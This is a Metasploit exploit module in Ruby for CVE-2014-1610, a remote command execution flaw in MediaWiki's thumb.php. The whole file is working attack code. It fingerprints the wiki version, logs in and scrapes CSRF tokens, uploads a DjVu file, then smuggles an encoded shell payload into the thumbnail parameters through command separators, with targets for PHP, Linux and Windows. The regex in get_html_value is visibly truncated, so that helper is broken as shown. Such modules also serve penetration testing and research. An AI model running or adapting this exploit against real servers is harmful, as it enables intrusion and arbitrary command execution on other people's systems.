require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'MediaWiki Thumb.php Remote Command Execution',
'Description' => %q{
MediaWiki 1.22.x before 1.22.2, 1.21.x before 1.21.5 and 1.19.x before 1.19.11,
when DjVu or PDF file upload support is enabled, allows remote unauthenticated
users to execute arbitrary commands via shell metacharacters. If no target file
is specified this module will attempt to log in with the provided credentials to
upload a file (.DjVu) to use for exploitation.
},
'Author' =>
[
'Netanel Rubin',
'Brandon Perry',
'Ben Harris',
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-1610' ],
[ 'OSVDB', '102630'],
[ 'URL', 'http://www.checkpoint.com/threatcloud-central/articles/2014-01-28-tc-researchers-discover.html' ],
[ 'URL', 'https://bugzilla.wikimedia.org/show_bug.cgi?id=60339' ]
],
'Privileged' => false,
'Targets' =>
[
[ 'Automatic PHP-CLI',
{
'Payload' =>
{
'BadChars' => "\r\n",
'PrependEncoder' => "php -r \"",
'AppendEncoder' => "\""
},
'Platform' => ['php'],
'Arch' => ARCH_PHP
}
],
[ 'Linux CMD',
{
'Payload' =>
{
'BadChars' => "",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python php',
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD
}
],
[ 'Windows CMD',
{
'Payload' =>
{
'BadChars' => "",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl',
}
},
'Platform' => ['win'],
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 28 2014'))
register_options(
[
OptString.new('TARGETURI', [ true, "Base MediaWiki path", '/mediawiki' ]),
OptString.new('FILENAME', [ false, "Target DjVu/PDF file (e.g target.djvu target.pdf)", nil ]),
OptString.new('USERNAME', [ false, "Username to authenticate with", '' ]),
OptString.new('PASSWORD', [ false, "Password to authenticate with", '' ])
], self.class)
end
def get_version(body)
meta_generator = get_html_value(body, 'meta', 'generator', 'content')
unless meta_generator
vprint_status("No META Generator tag on #{full_uri}.")
return nil, nil, nil
end
if meta_generator && meta_generator =~ /mediawiki/i
vprint_status("#{meta_generator} detected.")
meta_generator =~ /(\d)\.(\d+)[\.A-z]+(\d+)/
major = $1.to_i
minor = $2.to_i
patch = $3.to_i
vprint_status("Major:#{major} Minor:#{minor} Patch:#{patch}")
return major, minor, patch
end
return nil, nil, nil
end
def check
uri = target_uri.path
opts = { 'uri' => normalize_uri(uri, 'index.php') }
response = send_request_cgi!(opts)
if opts['redirect_uri']
vprint_status("Redirected to #{opts['redirect_uri']}.")
end
unless response
vprint_status("No response from #{full_uri}.")
return CheckCode::Unknown
end
if response.code == 200 || response.code == 404
vprint_status("#{response.code} response received...")
major, minor, patch = get_version(response.body)
unless major
return CheckCode::Unknown
end
if major == 1 && (minor < 8 || minor > 22)
return CheckCode::Safe
elsif major == 1 && (minor == 22 && patch > 1)
return CheckCode::Safe
elsif major == 1 && (minor == 21 && patch > 4)
return CheckCode::Safe
elsif major == 1 && (minor == 19 && patch > 10)
return CheckCode::Safe
elsif major == 1
return CheckCode::Appears
else
return CheckCode::Safe
end
end
vprint_status("Received response code #{response.code} from #{full_uri}")
CheckCode::Unknown
end
def exploit
uri = target_uri.path
print_status("Grabbing version and login CSRF token...")
response = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'vars_get' => { 'title' => 'Special:UserLogin' }
})
unless response
fail_with(Failure::NotFound, "Failed to retrieve webpage.")
end
server = response['Server']
if server && target.name =~ /automatic/i && server =~ /win32/i
vprint_status("Windows platform detected: #{server}.")
my_platform = Msf::Module::Platform::Windows
elsif server && target.name =~ /automatic/i
vprint_status("Nix platform detected: #{server}.")
my_platform = Msf::Module::Platform::Unix
else
my_platform = target.platform.platforms.first
end
unless datastore['FILENAME'].blank?
payload_request(uri, datastore['FILENAME'], my_platform)
return
end
username = datastore['USERNAME']
password = datastore['PASSWORD']
major, minor, patch = get_version(response.body)
if ((major == 1) && (minor == 18) && (patch == 0 || patch == 1))
upload_csrf = false
elsif ((major == 1) && (minor < 18))
upload_csrf = false
else
upload_csrf = true
end
session_cookie = response.get_cookies
wp_login_token = get_html_value(response.body, 'input', 'wpLoginToken', 'value')
if wp_login_token.blank?
fail_with(Failure::UnexpectedReply, "Couldn't find login token. Is URI set correctly?")
else
print_good("Retrieved login CSRF token.")
end
print_status("Attempting to login...")
login = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'POST',
'vars_get' => {
'title' => 'Special:UserLogin',
'action' => 'submitlogin',
'type' => 'login'
},
'cookie' => session_cookie,
'vars_post' => {
'wpName' => username,
'wpPassword' => password,
'wpLoginAttempt' => 'Log in',
'wpLoginToken' => wp_login_token
}
})
if login and login.code == 302
print_good("Log in successful.")
else
fail_with(Failure::NoAccess, "Failed to log in.")
end
auth_cookie = login.get_cookies.gsub('mediawikiToken=deleted;','')
unless auth_cookie.include? 'session='
auth_cookie << session_cookie
end
print_status("Getting upload CSRF token...") if upload_csrf
upload_file = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php', 'Special:Upload'),
'cookie' => auth_cookie
})
unless upload_file and upload_file.code == 200
fail_with(Failure::NotFound, "Failed to access file upload page.")
end
wp_edit_token = get_html_value(upload_file.body, 'input', 'wpEditToken', 'value') if upload_csrf
wp_upload = get_html_value(upload_file.body, 'input', 'wpUpload', 'value')
title = get_html_value(upload_file.body, 'input', 'title', 'value')
if upload_csrf && wp_edit_token.blank?
fail_with(Failure::UnexpectedReply, "Couldn't find upload token. Is URI set correctly?")
elsif upload_csrf
print_good("Retrieved upload CSRF token.")
end
upload_mime = Rex::MIME::Message.new
djvu_file = ::File.read(::File.join(Msf::Config.data_directory, "exploits", "cve-2014-1610", "metasploit.djvu"))
file_name = "#{rand_text_alpha(4)}.djvu"
upload_mime.add_part(djvu_file, "application/octet-stream", "binary", "form-data; name=\"wpUploadFile\"; filename=\"#{file_name}\"")
upload_mime.add_part("#{file_name}", nil, nil, "form-data; name=\"wpDestFile\"")
upload_mime.add_part("#{rand_text_alpha(4)}", nil, nil, "form-data; name=\"wpUploadDescription\"")
upload_mime.add_part("", nil, nil, "form-data; name=\"wpLicense\"")
upload_mime.add_part("1",nil,nil, "form-data; name=\"wpIgnoreWarning\"")
upload_mime.add_part(wp_edit_token, nil, nil, "form-data; name=\"wpEditToken\"") if upload_csrf
upload_mime.add_part(title, nil, nil, "form-data; name=\"title\"")
upload_mime.add_part("1", nil, nil, "form-data; name=\"wpDestFileWarningAck\"")
upload_mime.add_part(wp_upload, nil, nil, "form-data; name=\"wpUpload\"")
post_data = upload_mime.to_s
print_status("Uploading DjVu file #{file_name}...")
upload = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php', 'Special:Upload'),
'data' => post_data,
'ctype' => "multipart/form-data; boundary=#{upload_mime.bound}",
'cookie' => auth_cookie
})
if upload and upload.code == 302 and upload.headers['Location']
location = upload.headers['Location']
print_good("File uploaded to #{location}")
else
if upload.body.include? 'not a permitted file type'
fail_with(Failure::NotVulnerable, "Wiki is not configured for target files.")
else
fail_with(Failure::UnexpectedReply, "Failed to upload file.")
end
end
payload_request(uri, file_name, my_platform)
end
def payload_request(uri, file_name, my_platform)
if my_platform == Msf::Module::Platform::Windows
trigger = "1)&(#{payload.encoded})&"
else
trigger = "1;#{payload.encoded};"
end
vars_get = { 'f' => file_name }
if file_name.include? '.pdf'
vars_get['width'] = trigger
elsif file_name.include? '.djvu'
vars_get['width'] = 1
vars_get['p'] = trigger
else
fail_with(Failure::BadConfig, "Unsupported file extension: #{file_name}")
end
print_status("Sending payload request...")
r = send_request_cgi({
'uri' => normalize_uri(uri, 'thumb.php'),
'vars_get' => vars_get
}, 1)
if r && r.code == 404 && r.body =~ /not exist/
print_error("File: #{file_name} does not exist.")
elsif r
print_error("Received response #{r.code}, exploit probably failed.")
end
end
def get_html_value(html, type, name, value)
return nil unless html
return nil unless type
return nil unless name
return nil unless value
found = nil
html.each_line do |line|
if line =~ /(<
found = $&
break
end
end
if found
doc = REXML::Document.new found
return doc.root.attributes[value]
end
''
end
end
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